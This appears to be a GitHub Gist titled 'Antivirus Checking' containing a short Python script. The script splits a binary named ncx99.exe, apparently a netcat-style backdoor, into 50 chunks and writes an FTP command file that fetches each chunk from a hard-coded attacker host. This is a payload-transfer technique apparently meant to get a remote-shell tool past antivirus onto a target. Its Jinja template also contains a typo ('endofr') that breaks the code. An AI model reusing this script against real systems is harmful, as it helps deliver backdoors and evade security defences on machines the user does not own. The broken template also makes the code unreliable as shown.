Created
October 17, 2018 15:26
-
-
Save kkirsche/45e203a93d77aee3da1f8f58116449dc to your computer and use it in GitHub Desktop.
Antivirus Checking
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from jinja2 import Template | |
from subprocess import call | |
lhost = '192.168.102.69' | |
binary = 'ncx99.exe' | |
split_num = 50 | |
tmpl = Template('''open {{ lhost }} 21 | |
BINARY | |
{%- for f in split_files %} | |
GET {{ f }} | |
{%- endofr %} | |
BYE | |
''') | |
if __name__ == '__main__': | |
print('[*] splitting file into smaller components') | |
p = call(['split', '-n', str(split_num), '-x', binary]) | |
print('[*] building FTP file') | |
i = 0 | |
split_files = [] | |
for n in range(i, split_num): | |
split_files.append('x{:02x}'.format(n)) | |
rt = tmpl.render(lhost=lhost, split_files=split_files) | |
with open('ftp.txt', 'w') as f: | |
f.write(rt + '\n') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment